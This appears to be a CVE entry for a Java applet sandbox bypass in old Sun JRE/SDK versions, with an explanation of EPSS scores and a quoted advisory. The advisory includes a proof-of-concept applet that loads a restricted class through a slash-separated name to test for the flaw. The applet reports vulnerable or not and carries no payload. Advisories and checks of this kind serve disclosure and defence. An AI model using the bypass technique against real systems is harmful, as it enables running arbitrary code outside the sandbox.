CVE Descriptions

The loadClass method of the sun.applet.AppletClassLoader class in the Java Virtual Machine (JVM) in Sun SDK and JRE 1.4.1_03 and earlier allows remote attackers to bypass sandbox restrictions and execute arbitrary code via a loaded class name that contains "/" (slash) instead of "." (dot) characters, which bypasses a call to the Security Manager's checkPackageAccess method.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/8879/info A vulnerability has been identified in the Sun Java Virtual Machine packaged with JRE and SDK. This issue results in the circumvention of the Java Security Model, and can permit an attacker to execute arbitrary code on vulnerable hosts. import java.applet.Applet; import java.awt.Graphics; import java.lang.Class; import java.security.AccessControlException; public class Simple extends Applet { StringBuffer buffer; public void init() { buffer = new StringBuffer(); } public void start() { ClassLoader cl = this.getClass().getClassLoader(); try { Class cla = cl.loadClass("sun/applet/AppletClassLoader"); // Note the slashes addItem("No exception in loadClass. Vulnerable!"); } catch (ClassNotFoundException e) { addItem("ClassNotFoundException in loadClass - " + e); } catch (AccessControlException e) { addItem("AccessControlException in loadClass - Not Vulnerable!"); } }
